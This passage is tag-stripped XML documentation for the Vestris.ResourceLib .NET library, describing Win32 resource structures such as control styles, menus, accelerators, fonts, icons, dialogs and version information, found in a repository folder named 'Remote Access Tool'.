left-to-right reading-order properties. This is the default. If the shell language is Hebrew, Arabic, or another language that supports reading order alignment, the vertical scroll bar (if present) is to the left of the client area. For other languages, the style is ignored. Vertical scroll bar (if present) is to the right of the client area. This is the default. The window itself contains child windows that should take part in dialog box navigation. If this style is specified, the dialog manager recurses into children of this window when performing navigation operations such as handling the TAB key, an arrow key, or a keyboard mnemonic. Creates a window with a three-dimensional border style intended to be used for items that do not accept user input. Forces a top-level window onto the taskbar when the window is visible. Combines the WS_EX_CLIENTEDGE and WS_EX_WINDOWEDGE styles. Combines the WS_EX_WINDOWEDGE, WS_EX_TOOLWINDOW, and WS_EX_TOPMOST styles. Windows 2000/XP: Creates a layered window. Note that this cannot be used for child windows. Also, this cannot be used if the window has a class style of either CS_OWNDC or CS_CLASSDC. Windows 2000/XP: A window created with this style does not pass its window layout to its child windows. Arabic and Hebrew versions of Windows 98/Me, Windows 2000/XP: Creates a window whose horizontal origin is on the right edge. Increasing horizontal values advance to the left. Windows XP: Paints all descendants of a window in bottom-to-top painting order using double-buffering. For more information, see Remarks. This cannot be used if the window has a class style of either CS_OWNDC or CS_CLASSDC. Windows 2000/XP: A top-level window created with this style does not become the foreground window when the user clicks it. The system does not bring this window to the foreground when the user minimizes or closes the foreground window. Possible DIALOGEXITEMTEMPLATE WindowClass ordinals. A button. An edit box. A static control. A list box. A scroll bar. A combo box. Static control styles. A static control specifies the STATIC class, appropriate window style constants, and a combination of the following static control styles. http://msdn.microsoft.com/en-us/library/bb760773(VS.85).aspx Specifies a simple rectangle and left-aligns the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next left-aligned line. Words that are longer than the width of the control are truncated. Specifies a simple rectangle and centers the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next centered line. Words that are longer than the width of the control are truncated. Specifies a simple rectangle and right-aligns the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next right-aligned line. Words that are longer than the width of the control are truncated. Specifies an icon to be displayed in the dialog box. If the control is created as part of a dialog box, the text is the name of an icon (not a filename) defined elsewhere in the resource file. If the control is created via CreateWindow or a related function, the text is the name of an icon (not a filename) defined in the resource file associated with the module specified by the hInstance parameter to CreateWindow. The icon can be an animated cursor. Specifies a rectangle filled with the current window frame color. This color is black in the default color scheme. Specifies a rectangle filled with the current screen background color. This color is gray in the default color scheme. Specifies a rectangle filled with the current window background color. This color is white in the default color scheme. Specifies a box with a frame drawn in the same color as the window frames. This color is black in the default color scheme. Specifies a box with a frame drawn with the same color as the screen background (desktop). This color is gray in the default color scheme. Specifies a box with a frame drawn with the same color as the window background. This color is white in the default color scheme. Specifies a simple rectangle and displays a single line of left-aligned text in the rectangle. The text line cannot be shortened or altered in any way. Also, if the control is disabled, the control does not gray its text. Specifies a simple rectangle and left-aligns the text in the rectangle. Tabs are expanded, but words are not wrapped. Text that extends past the end of a line is clipped. Specifies that the owner of the static control is responsible for drawing the control. The owner window receives a WM_DRAWITEM message whenever the control needs to be drawn. Specifies that a bitmap is to be displayed in the static control. The text is the name of a bitmap (not a filename) defined elsewhere in the resource file. The style ignores the nWidth and nHeight parameters; the control automatically sizes itself to accommodate the bitmap. Specifies that an enhanced metafile is to be displayed in the static control. The text is the name of a metafile. An enhanced metafile static control has a fixed size; the metafile is scaled to fit the static control's client area. Draws the top and bottom edges of the static control using the EDGE_ETCHED edge style. Draws the left and right edges of the static control using the EDGE_ETCHED edge style. Draws the frame of the static control using the EDGE_ETCHED edge style. Windows 2000: A composite style bit that results from using the OR operator on SS_* style bits. Can be used to mask out valid SS_* bits from a given bitmask. Note that this is out of date and does not correctly include all valid styles. Thus, you should not use this style. Windows XP or later: Adjusts the bitmap to fit the size of the static control. For example, changing the locale can change the system font, and thus controls might be resized. If a static control had a bitmap, the bitmap would no longer fit the control. This style bit dictates automatic redimensioning of bitmaps to fit their controls. Prevents interpretation of any ampersand characters in the control's text as accelerator prefix characters. These are displayed with the ampersand removed and the next character in the string underlined. This static control style may be included with any of the defined static controls. You can combine SS_NOPREFIX with other styles. This can be useful when filenames or other strings that may contain an ampersand must be displayed in a static control in a dialog box. Sends the parent window STN_CLICKED, STN_DBLCLK, STN_DISABLE, and STN_ENABLE notification messages when the user clicks or double-clicks the control. Specifies that a bitmap is centered in the static control that contains it. The control is not resized, so that a bitmap too large for the control will be clipped. If the static control contains a single line of text, the text is centered vertically in the client area of the control. Specifies that the lower right corner of a static control with the SS_BITMAP or SS_ICON style is to remain fixed when the control is resized. Only the top and left sides are adjusted to accommodate a new bitmap or icon. Specifies that the actual resource width is used and the icon is loaded using LoadImage. SS_REALSIZEIMAGE is always used in conjunction with SS_ICON. Draws a half-sunken border around a static control. Microsoft Windows 2000: Specifies that the static control duplicates the text-displaying characteristics of a multiline edit control. Specifically, the average character width is calculated in the same manner as with an edit control, and the function does not display a partially visible last line. Microsoft Windows NT or later: If the end of a string does not fit in the rectangle, it is truncated and ellipses are added. If a word that is not at the end of the string goes beyond the limits of the rectangle, it is truncated without ellipses. Using this style will force the control’s text to be on one line with no word wrap. Compare with SS_PATHELLIPSIS and SS_WORDELLIPSIS. Windows NT or later: Replaces characters in the middle of the string with ellipses so that the result fits in the specified rectangle. If the string contains backslash (\) characters, SS_PATHELLIPSIS preserves as much as possible of the text after the last backslash. Using this style will force the control’s text to be on one line with no word wrap. Compare with SS_ENDELLIPSIS and SS_WORDELLIPSIS. Windows NT or later: Truncates any word that does not fit in the rectangle and adds ellipses. Using this style will force the control’s text to be on one line with no word wrap. Push button styles. http://msdn.microsoft.com/en-us/library/bb775951(VS.85).aspx Creates a push button that posts a WM_COMMAND message to the owner window when the user selects the button. Creates a push button that behaves like a BS_PUSHBUTTON style button, but has a distinct appearance. If the button is in a dialog box, the user can select the button by pressing the ENTER key, even when the button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Creates a small, empty check box with text. By default, the text is displayed to the right of the check box. To display the text to the left of the check box, combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Creates a button that is the same as a check box, except that the check state automatically toggles between checked and cleared each time the user selects the check box. Creates a small circle with text. By default, the text is displayed to the right of the circle. To display the text to the left of the circle, combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Use radio buttons for groups of related, but mutually exclusive choices. Creates a button that is the same as a check box, except that the box can be grayed as well as checked or cleared. Use the grayed state to show that the state of the check box is not determined. Creates a button that is the same as a three-state check box, except that the box changes its state when the user selects it. The state cycles through checked, indeterminate, and cleared. Creates a rectangle in which other controls can be grouped. Any text associated with this style is displayed in the rectangle's upper left corner. Obsolete, but provided for compatibility with 16-bit versions of Windows. Applications should use BS_OWNERDRAW instead. Creates a button that is the same as a radio button, except that when the user selects it, the system automatically sets the button's check state to checked and automatically sets the check state for all other buttons in the same group to cleared. Creates an owner-drawn button. The owner window receives a WM_DRAWITEM message when a visual aspect of the button has changed. Do not combine the BS_OWNERDRAW style with any other button styles. Microsoft Windows 2000: A composite style bit that results from using the OR operator on BS_* style bits. It can be used to mask out valid BS_* bits from a given bitmask. Places text on the left side of the radio button or check box when combined with a radio button or check box style. Same as the BS_RIGHTBUTTON style. Specifies that the button displays text. Specifies that the button displays an icon. Specifies that the button displays a bitmap. See the Remarks section for its interaction with BS_ICON. Left-justifies the text in the button rectangle. However, if the button is a check box or radio button that does not have the BS_RIGHTBUTTON style, the text is left justified on the right side of the check box or radio button. Right-justifies text in the button rectangle. However, if the button is a check box or radio button that does not have the BS_RIGHTBUTTON style, the text is right justified on the right side of the check box or radio button. Centers text horizontally in the button rectangle. Places text at the top of the button rectangle. Places text at the bottom of the button rectangle. Places text in the middle (vertically) of the button rectangle. Makes a button (such as a check box, three-state check box, or radio button) look and act like a push button. The button looks raised when it isn't pushed or checked, and sunken when it is pushed or checked. Wraps the button text to multiple lines if the text string is too long to fit on a single line in the button rectangle. Enables a button to send BN_KILLFOCUS and BN_SETFOCUS notification messages to its parent window. Specifies that the button is two-dimensional; it does not use the default shading to create a 3-D image. Microsoft Windows Vista and Version 6.00. Creates a split button that behaves like a BS_PUSHBUTTON style button, but also has a distinctive appearance. If the split button is in a dialog box, the user can select the split button by pressing the ENTER key, even when the split button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a BS_PUSHBUTTON style button, but the command link button has a green arrow on the left pointing to the button text. A caption for the button text can be set by sending the BCM_SETNOTE message to the button. Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a BS_PUSHBUTTON style button. If the button is in a dialog box, the user can select the command link button by pressing the ENTER key, even when the command link button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Edit control styles. http://msdn.microsoft.com/en-us/library/bb775464(VS.85).aspx Aligns text with the left margin. Windows 98/Me, Windows 2000/XP: Centers text in a single-line or multiline edit control. Windows 95, Windows NT 4.0 and earlier: Centers text in a multiline edit control. Windows 98/Me, Windows 2000/XP: Right-aligns text in a single-line or multiline edit control. Windows 95, Windows NT 4.0 and earlier: Right aligns text in a multiline edit control. Designates a multiline edit control. The default is single-line edit control. Converts all characters to uppercase as they are typed into the edit control. Converts all characters to lowercase as they are typed into the edit control. Displays an asterisk (*) for each character typed into the edit control. This style is valid only for single-line edit controls. Automatically scrolls text up one page when the user presses the ENTER key on the last line. Automatically scrolls text to the right by 10 characters when the user types a character at the end of the line. When the user presses the ENTER key, the control scrolls all text back to position zero. Negates the default behavior for an edit control. Converts text entered in the edit control. Prevents the user from typing or editing text in the edit control. Specifies that a carriage return be inserted when the user presses the ENTER key while entering text into a multiline edit control in a dialog box. If you do not specify this style, pressing the ENTER key has the same effect as pressing the dialog box's default push button. This style has no effect on a single-line edit control. Allows only digits to be entered into the edit control. Defines the header for a menu template. A complete menu template consists of a header and one or more menu item lists. Specifies the version number. This member must be zero. Specifies the offset, in bytes, from the end of the header. The menu item list begins at this offset. Usually, this member is zero, and the menu item list follows immediately after the header. Defines a menu item in a menu template. Specifies one or more of the following predefined menu options that control the appearance of the menu item. TODO Defines the header for an extended menu template. Template version number. This member must be 1 for extended menu templates. Offset of the first MENUEXITEMTEMPLATE structure, relative to the end of this structure member. If the first item definition immediately follows the dwHelpId member, this member should be 4. Drop-down menu or submenu item. Menu item type. This member can be a combination of the type (beginning with MFT) values listed with the MENUITEMINFO structure. Menu item state. This member can be a combination of the state (beginning with MFS) values listed with the MENUITEMINFO structure. Menu item identifier. This is an application-defined value that identifies the menu item. Value specifying whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu. Specifies one or more of the following predefined menu options that control the appearance of the menu item. Indicates that the menu item is initially inactive and drawn with a gray effect. Indicates that the menu item has a check mark next to it. Indicates that the owner window of the menu is responsible for drawing all visual aspects of the menu item, including highlighted, selected, and inactive states. This option is not valid for an item in a menu bar. Indicates that the item is one that opens a drop-down menu or submenu. Indicates that the menu item is placed in a new column. The old and new columns are separated by a bar. Indicates that the menu item is placed in a new column. Indicates that the menu item has a vertical separator to its left. Specifies whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu. This member can be zero or more of these values. Defines the last menu item in the menu bar, drop-down menu, submenu, or shortcut menu. Defines a item that opens a drop-down menu or submenu. Subsequent structures define menu items in the corresponding drop-down menu or submenu. Defines an accelerator key used in an accelerator table. http://msdn.microsoft.com/en-us/library/ms646340(VS.85).aspx Accelerator flags. Accelerator key. This member can be either a virtual-key code or an ASCII character code. Accelerator identifier. Flags, fVirt field of the Accelerator table structure. Virtual key. Specifies that no top-level menu item is highlighted when the accelerator is used. This is useful when defining accelerators for actions such as scrolling that do not correspond to a menu item. If NOINVERT is omitted, a top-level menu item will be highlighted (if possible) when the accelerator is used. Causes the accelerator to be activated only if the SHIFT key is down. Applies only to virtual keys. Causes the accelerator to be activated only if the CONTROL key is down. Applies only to virtual keys. Causes the accelerator to be activated only if the ALT key is down. Applies only to virtual keys. Virtual key definitions. Standard virtual left mouse button. Standard virtual right mouse button. Ctrl-Break / Ctrl-C. Standard virtual middle mouse button. Backspace. Tab. Delete. Return. Shift. Control. Menu. Pause. Caps lock. Escape. Space. End. Home. Left arrow. Up arrow. Right arrow. Down arrow. Print Screen. Insert. Delete. NEC PC-9800 keyboard '=' key on numpad. Fujitsu/OASYS keyboard 'Dictionary' key. Fujitsu/OASYS keyboard 'Unregister word' key. Fujitsu/OASYS keyboard 'Register word' key. Fujitsu/OASYS keyboard 'Left OYAYUBI' key. Fujitsu/OASYS keyboard 'Right OYAYUBI' key. ';:' for US '+' any country ',' any country '-' any country '.' any country '/?' for US '`~' for US '[{' for US '\|' for US ']}' for US ''"' for US 'AX' key on Japanese AX kbd "<>" or "\|" on RT 102-key kbd. Help key on ICO 00 key on ICO Contains information about an individual font in a font resource group. Specifies a user-defined version number for the resource data that tools can use to read and write resource files. Specifies the size of the file, in bytes. Contains a 60-character string with the font supplier's copyright information. Specifies the type of font file. Specifies the point size at which this character set looks best. Specifies the vertical resolution, in dots per inch, at which this character set was digitized. Specifies the horizontal resolution, in dots per inch, at which this character set was digitized. Specifies the distance from the top of a character definition cell to the baseline of the typographical font. Specifies the amount of leading inside the bounds set by the dfPixHeight member. Accent marks and other diacritical characters can occur in this area. Specifies the amount of extra leading that the application adds between rows. Specifies an italic font if not equal to zero. Specifies an underlined font if not equal to zero. Specifies a strikeout font if not equal to zero. Specifies the weight of the font in the range 0 through 1000. For example, 400 is roman and 700 is bold. If this value is zero, a default weight is used. Specifies the character set of the font. Specifies the width of the grid on which a vector font was digitized. For raster fonts, if the member is not equal to zero, it represents the width for all the characters in the bitmap. If the member is equal to zero, the font has variable-width characters. Specifies the height of the character bitmap for raster fonts or the height of the grid on which a vector font was digitized. Specifies the pitch and the family of the font. Specifies the average width of characters in the font (generally defined as the width of the letter x). This value does not include the overhang required for bold or italic characters. Specifies the width of the widest character in the font. Specifies the first character code defined in the font. Specifies the last character code defined in the font. Specifies the character to substitute for characters not in the font. Specifies the character that will be used to define word breaks for text justification. Specifies the number of bytes in each row of the bitmap. This value is always even so that the rows start on word boundaries. For vector fonts, this member has no meaning. Specifies the offset in the file to a null-terminated string that specifies a device name. For a generic font, this value is zero. Specifies the offset in the file to a null-terminated string that names the typeface. This member is reserved. This structure depicts the organization of data in a file-version resource. It contains version information not dependent on a particular language and code page combination. http://msdn.microsoft.com/en-us/library/aa909193.aspx A hardware independent dictionary of language and code page identifier tables. A new hardware independent dictionary of language and code page identifier tables. An existing hardware independent dictionary of language and code page identifier tables. Pointer to the beginning of data. Read a hardware independent dictionary of language and code page identifier tables. Pointer to the beginning of data. Pointer to the end of data. Write the hardware independent dictionary of language and code page identifier tables to a binary stream. Binary stream. The default language and code page identifier table. Returns a language and code page identifier table. Language ID. A language and code page identifier table. String representation of VarFileInfo. Indent. String in the VarFileInfo format. This structure depicts the organization of data in a file-version resource. It typically contains a list of language and code page identifier pairs that the version of the application or DLL supports. http://msdn.microsoft.com/en-us/library/bb202818.aspx A dictionary of language and code page identifier pairs. A new table of language and code page identifier pairs. A new table of language and code page identifier pairs. Table key. An existing table of language and code page identifier pairs. Pointer to the beginning of the data. Read a table of language and code page identifier pairs. Pointer to the beginning of the data. Write the table of language and code page identifier pairs to a binary stream. Binary stream. Last unpadded position. Returns a code page identifier for a given language. Language ID. Code page identifier. String representation of the var table. Indent. String representation of the var table. VS_VERSIONINFO This structure depicts the organization of data in a file-version resource. It is the root structure that contains all other file-version information structures. http://msdn.microsoft.com/en-us/library/aa914916.aspx The resource header. A dictionary of resource tables. An existing version resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new language-netural version resource. Read a version resource from a previously loaded module. Module handle. Pointer to the beginning of the resource. Pointer to the end of the resource. String representation of the file version. Gets or sets a bitmask that specifies the Boolean attributes of the file. String representation of the protect version. Write this version resource to a binary stream. Binary stream. Returns an entry within this resource table. Entry key. A resource table. Returns an entry within this resource table. Entry index. A resource table. Return string representation of the version resource. winver.h, version management functions, types and definitions VS_VERSION signature. VS_VERSION structure version. VS_VERSION file flags mask. VS_VERSION file flags. The file contains debugging information. The file is a prerelease development version, not a final commercial release. PThe file has been modified somehow and is not identical to the original file that shipped with the product. The file was not built using standard release procedures. There should be data in the file's "PrivateBuild" version information string. The version information in this structure was not found inside the file, but instead was created when needed based on the best information available. Therefore, this structure's information may differ slightly from what the "real" values are. The file was built using standard release procedures, but is somehow different from the normal file having the same version number. There should be data in the file's "SpecialBuild" version information string. VS_VERSION file OSs. The operating system under which the file was designed to run could not be determined. The file was designed to run under MS-DOS. The file was designed to run under a 16-bit version of OS/2. The file was designed to run under a 32-bit version of OS/2. The file was designed to run under Windows NT/2000. The file was designed to run under the 16-bit Windows API. The file was designed to be run under a 16-bit version of Presentation Manager. The file was designed to be run under a 32-bit version of Presentation Manager. The file was designed to run under the 32-bit Windows API. VS_VERSION file types. The type of file could not be determined. The file is an application. The file is a Dynamic Link Library (DLL). The file is a device driver. dwFileSubtype contains more information. The file is a font. dwFileSubtype contains more information. The file is a virtual device. The file is a static link library. File sub-type. The type of driver could not be determined. The file is a printer driver. The file is a keyboard driver. The file is a language driver. The file is a display driver. The file is a mouse driver. The file is a network driver. The file is a system driver. The file is an installable driver. The file is a sound driver. The file is a communications driver. The file is an input method driver. The file is a versioned printer driver. The file is a raster font. The file is a vector font. The file is a TrueType font. ================================================ FILE: Remote Access Tool/packages/Vestris.ResourceLib.2.1.0/lib/net40/Vestris.ResourceLib.xml ================================================ Vestris.ResourceLib Standard accelerator. Read the accelerator. Address in memory. Write accelerator to a binary stream. Binary stream. String representation of the accelerator key. An unsigned integer value that identifies the accelerator. String representation of the accelerator. String representation of the accelerator. An accelerator, RT_ACCELERATOR resource. An accelerator provides the user with access to an application's command set. Accelerator keys. A new accelerator resource. An existing accelerator resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the accelerators table. Handle to a module. Pointer to the beginning of the accelerator table. Address of the end of the accelerator table. String representation of the accelerators resource. Creates an 8 bit aligned copy of the buffer if it is not already aligned A bitmap file in a .bmp format. Device independent bitmap. An existing bitmap file. A file in a .bmp format. An embedded bitmap resource. An existing bitmap resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new bitmap resource. Read the resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the bitmap resource to a binary stream. Binary stream. A device independent bitmap. This structure depicts the organization of data in a hardware-independent cursor resource. A hardware-independent cursor resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent cursor resource. A new collection of cursors that can be embedded into an executable file. This structure depicts the organization of data in a cursor resource. An existing cursor resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new cursor resource. Convert into an icon resource that can be written into an executable. Icon image. Icon Id. Language. An icon resource. Horizontal hotspot coordinate. The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. Vertical hot spot coordinate. The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. Write the cursor data to a file. Target executable file. Read DIB image. DIB bits. DIB size. A device-independent image consists of a BITMAPINFOHEADER where bmWidth is the width of the image andbmHeight is double the height of the image, followed by the bitmap color table, followed by the image pixels, followed by the mask pixels. Raw image data. Bitmap info header. Bitmap size in bytes. A new icon image. A device-independent bitmap. Bitmap data. Create a copy of an image. Source image. Read icon data. Pointer to the beginning of icon data. Icon data size. Size of the image mask. Position of the DIB bitmap bits within a DIB bitmap array. Number of colors in the palette. Returns the width of a row in a DIB Bitmap given the number of bits. DIB Bitmap rows always align on a DWORD boundary. Number of bits. Width of a row in bytes. Bitmap monochrome mask. Bitmap color (XOR) part of the image. Complete image. A container for the DIALOGTEMPLATEEX structure. Indicates the character set to use. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Weight of the font. Indicates whether the font is italic. Number of dialog items. An extended dialog structure. Read the dialog resource. Pointer to the beginning of the dialog structure. Write dialog control to a binary stream. Binary stream. String representation of the dialog. String in the DIALOGEX [dialog] format. A container for the DIALOGTEMPLATEEX structure. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Control identifier. An extended dialog control template structure. Read the dialog control. Pointer to the beginning of the dialog structure. Write the dialog control to a binary stream. Binary stream. Return a string representation of the dialog control. A single line in the "CLASS name id, dimensions and styles' format. A dialog template resource. A dialog template structure that describes the dialog. A structured dialog resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. A structured dialog resource embedded in an executable module. Dialog resource in standard resource editor text format. Multi-line string. A container for the DIALOGTEMPLATE structure. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Number of dialog items. A standard dialog structure. Read the dialog resource. Pointer to the beginning of the dialog structure. Write the dialog template data to a binary stream. Binary stream. Returns a string representation of the dialog. String in the DIALOG ... format. A dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Style of the dialog box. Optional extended style of the dialog box. Number of items in this structure. The name of the typeface for the font. Point size of the font to use for the text in the dialog box and its controls. Dialog caption. Menu resource Id. Window class Id. Controls within this dialog. Dialog template representation in a standard text format. Multiline string. String represetnation of a control. Write the resource to a binary stream. Binary stream. A container for a control within a dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Control identifier. A standard dialog control structure. Write the dialog control to a binary stream. Binary stream. String represetnation of a control. A dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Style of the dialog box. Optional extended style of the dialog box. Dialog caption. Window class Id. Window class of the control. Additional creation data. Write the dialog control to a binary stream. Binary stream. Dialog template utility functions. Read a dialog resource id. Address in memory. Resource read. String representation of the dialog or control style of two types. Dialog or control style. String in the "s1 | s2 | ... | s3" format. String representation of the dialog or control styles of two types. Dialog or control style. Dialog or control extended style. String in the "s1 | s2 | ... | s3" format. String representation of the dialog or control style of one type. Dialog or control style. String in the "s1 | s2 | ... | s3" format. This structure depicts the organization of data in a hardware-independent icon resource. Returns the type of the resource in this group. Icons contained in this hardware-independent icon resource. A hardware-independent icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent icon resource. Save a hardware-independent icon resource to an executable file. Name of an executable file (.exe or .dll). Read a hardware-independent icon resource from a loaded module. Loaded executable module. Pointer to the beginning of a hardware-independent icon resource. Pointer to the end of the hardware-independent icon resource. Write a hardware-independent icon resource to a binary stream. Binary stream. Fixed file information. Default Windows fixed file information. Fixed file info structure. Read the fixed file information structure. Address in memory. String representation of the file version. String representation of the protect version. Gets or sets a bitmask that specifies the Boolean attributes of the file. Write fixed file information to a binary stream. Binary stream. Size of the VS_FIXEDFILEINFO structure. String representation of the fixed file info. String representation of the fixed file info. A font directory entry. Font ordinal. Typeface name of the font. Specifies the name of the device if this font file is designated for a specific device. Font information. A new font directory entry. Read the font directory entry. Pointer in memory. Pointer to the end of the font directory entry. Write the font directory entry to a binary stream. Binary stream. A font directory, RT_FONTDIR resource. Number of fonts in this directory. A new font resource. An existing font resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the font resource. Handle to a module. Pointer to the beginning of the font structure. Address of the end of the font structure. Write the font directory to a binary stream. Binary stream. A font, RT_FONT resource. A new font resource. An existing font resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the font resource. Handle to a module. Pointer to the beginning of the font structure. Address of the end of the font structure. Write the font resource to a binary writer. Binary writer. Gdi32.dll interop functions. Bitmap compression options. An uncompressed format. A run-length encoded (RLE) format for bitmaps with 8 bpp. The compression format is a 2-byte format consisting of a count byte followed by a byte containing a color index. For more information, see Bitmap Compression. An RLE format for bitmaps with 4 bpp. The compression format is a 2-byte format consisting of a count byte followed by two word-length color indexes. For more information, see Bitmap Compression. Specifies that the bitmap is not compressed and that the color table consists of three DWORD color masks that specify the red, green, and blue components, respectively, of each pixel. This is valid when used with 16- and 32-bpp bitmaps. Windows 98/Me, Windows 2000/XP: Indicates that the image is a JPEG image. Windows 98/Me, Windows 2000/XP: Indicates that the image is a PNG image. A bitmap info header. See http://msdn.microsoft.com/en-us/library/ms532290.aspx for more information. Bitmap information size. Bitmap width. Bitmap height. Number of logical planes. Bitmap bitrate. Bitmap compression. Image size. Horizontal pixel resolution. Vertical pixel resolution. Returns the current bitmap compression. Bitmap pixel format. Bitmap pixel format English standard string. Defines the dimensions and color information of a Windows-based device-independent bitmap (DIB). http://msdn.microsoft.com/en-us/library/dd183375(VS.85).aspx. Specifies a bitmap information header structure that contains information about the dimensions of color format. An array of RGBQUAD. The elements of the array make up the color table. Store colors in a paletised icon (2, 4 or 8 bit). http://msdn.microsoft.com/en-us/library/ms997538.aspx Blue. Green. Red. Reserved. The BITMAPFILEHEADER structure contains information about the type, size, and layout of a file that contains a DIB. http://msdn.microsoft.com/en-us/library/dd183374(VS.85).aspx The file type; must be BM. The size, in bytes, of the bitmap file. Reserved; must be zero. Reserved; must be zero. The offset, in bytes, from the beginning of the BITMAPFILEHEADER structure to the bitmap bits. Set the pixels in the specified rectangle on the device that is associated with the destination device context using color data from a DIB, JPEG, or PNG image. http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx A handle to the device context. The x-coordinate, in logical units, of the upper-left corner of the destination rectangle. The y-coordinate, in logical units, of the upper-left corner of the destination rectangle. The width, in logical units, of the image. The height, in logical units, of the image. The x-coordinate, in logical units, of the lower-left corner of the image. The y-coordinate, in logical units, of the lower-left corner of the image. The starting scan line in the image. The number of DIB scan lines contained in the array pointed to by the lpvBits parameter. A pointer to the color data stored as an array of bytes. A pointer to a BITMAPINFOHEADER structure that contains information about the DIB. Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette. If the function succeeds, the return value is the number of scan lines set. If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero. If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. Set the pixels in the specified rectangle on the device that is associated with the destination device context using color data from a DIB, JPEG, or PNG image. http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx A handle to the device context. The x-coordinate, in logical units, of the upper-left corner of the destination rectangle. The y-coordinate, in logical units, of the upper-left corner of the destination rectangle. The width, in logical units, of the image. The height, in logical units, of the image. The x-coordinate, in logical units, of the lower-left corner of the image. The y-coordinate, in logical units, of the lower-left corner of the image. The starting scan line in the image. The number of DIB scan lines contained in the array pointed to by the lpvBits parameter. A pointer to the color data stored as an array of bytes. A pointer to a BITMAPINFOHEADER structure that contains information about the DIB. Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette. If the function succeeds, the return value is the number of scan lines set. If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero. If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. Retrieves the bits of the specified compatible bitmap and copies them into a buffer as a DIB using the specified format A handle to the device context. A handle to the bitmap. This must be a compatible bitmap (DDB). The first scan line to retrieve. The number of scan lines to retrieve. A pointer to a buffer to receive the bitmap data. A pointer to a BITMAPINFO structure that specifies the desired format for the DIB data. The format of the bmiColors member of the BITMAPINFO structure. If the lpvBits parameter is non-NULL and the function succeeds, the return value is the number of scan lines copied from the bitmap. If the lpvBits parameter is NULL and GetDIBits successfully fills the BITMAPINFO structure, the return value is non-zero. If the function fails, the return value is zero. Create a DIB that applications can write to directly. The function gives you a pointer to the location of the bitmap bit values. You can supply a handle to a file-mapping object that the function will use to create the bitmap, or you can let the system allocate the memory for the bitmap. Handle to a device context. A pointer to a BITMAPINFO structure that specifies various attributes of the DIB, including the bitmap dimensions and colors. The type of data contained in the bmiColors array member of the BITMAPINFO structure pointed to by pbmi (either logical palette indexes or literal RGB values). A pointer to a variable that receives a pointer to the location of the DIB bit values. A handle to a file-mapping object that the function will use to create the DIB. This parameter can be NULL. The offset from the beginning of the file-mapping object referenced by hSection where storage for the bitmap bit values is to begin. If the function succeeds, the return value is a handle to the newly created DIB, and *ppvBits points to the bitmap bit values. If the function fails, the return value is NULL, and *ppvBits is NULL. Defines how to interpret the values in the color table of a DIB. The color table contains literal RGB values. The color table consists of an array of 16-bit indexes into the LogPalette object that is currently defined in the playback device context. No color table exists. The pixels in the DIB are indices into the current logical palette in the playback device context. Creates a memory device context (DC) compatible with the specified device. Handle to an existing device context. The handle to a memory device context indicates success. NULL indicates failure. Specifies either DISPLAY or the name of a specific display device or the name of a print provider, which is usually WINSPOOL. Specifies the name of the specific output device being used, as shown by the Print Manager (for example, Epson FX-80). This parameter is ignored and should be set to NULL. It is provided only for compatibility with 16-bit Windows. A pointer to a DEVMODE structure containing device-specific initialization data for the device driver. Creates a bitmap compatible with the device that is associated with the specified device context. A handle to a device context. The bitmap width, in pixels. The bitmap height, in 